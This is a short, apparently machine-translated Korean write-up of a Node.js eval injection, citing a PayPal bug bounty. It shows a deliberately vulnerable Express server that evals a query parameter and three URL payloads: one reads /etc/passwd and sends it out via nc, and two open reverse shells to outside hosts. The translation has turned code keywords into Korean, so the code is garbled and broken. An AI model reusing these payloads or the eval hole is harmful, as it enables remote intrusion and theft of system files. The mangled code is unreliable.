배경
@ArtSploit PayPal을 파헤칠 때 Nodejs 코드가 실행되어 $ 10,000의 보상을 받았습니다.
시험
var express = 요구 사항 ( 'Express'); var app = express (); app.get ( '/', function (req, res) {res.send ( 'hello eval (req.query.q)); console.log (req.query.q);}); app.listen (8080, function () {console.log (포트 8080!');파일을 읽으십시오
http : // host : 8080/? q = require ( 'child_process') .exec ( 'cat+/etc/passwd+|+nc+chack+80')
쉘을 얻으십시오
http : // host : 8080/? q = var+net+=+요구 ( "net"),+sh+=+요구 ( "child_process") .exec ( "/bin/bash"); var+클라이언트+=+new+net.sock et (); client.connect (80,+"Attacterip",+function () {client.pipe (sh.stdin); sh.stdout.pipe (client); sh.stderr.pipe (client);});Shell2를 얻으십시오
http : // host : 8080/? q = require ( "child_process") .exec ( 'bash -c "bash -i>%26 /dev/tcp/wufeifei.com/7890 0>%261"').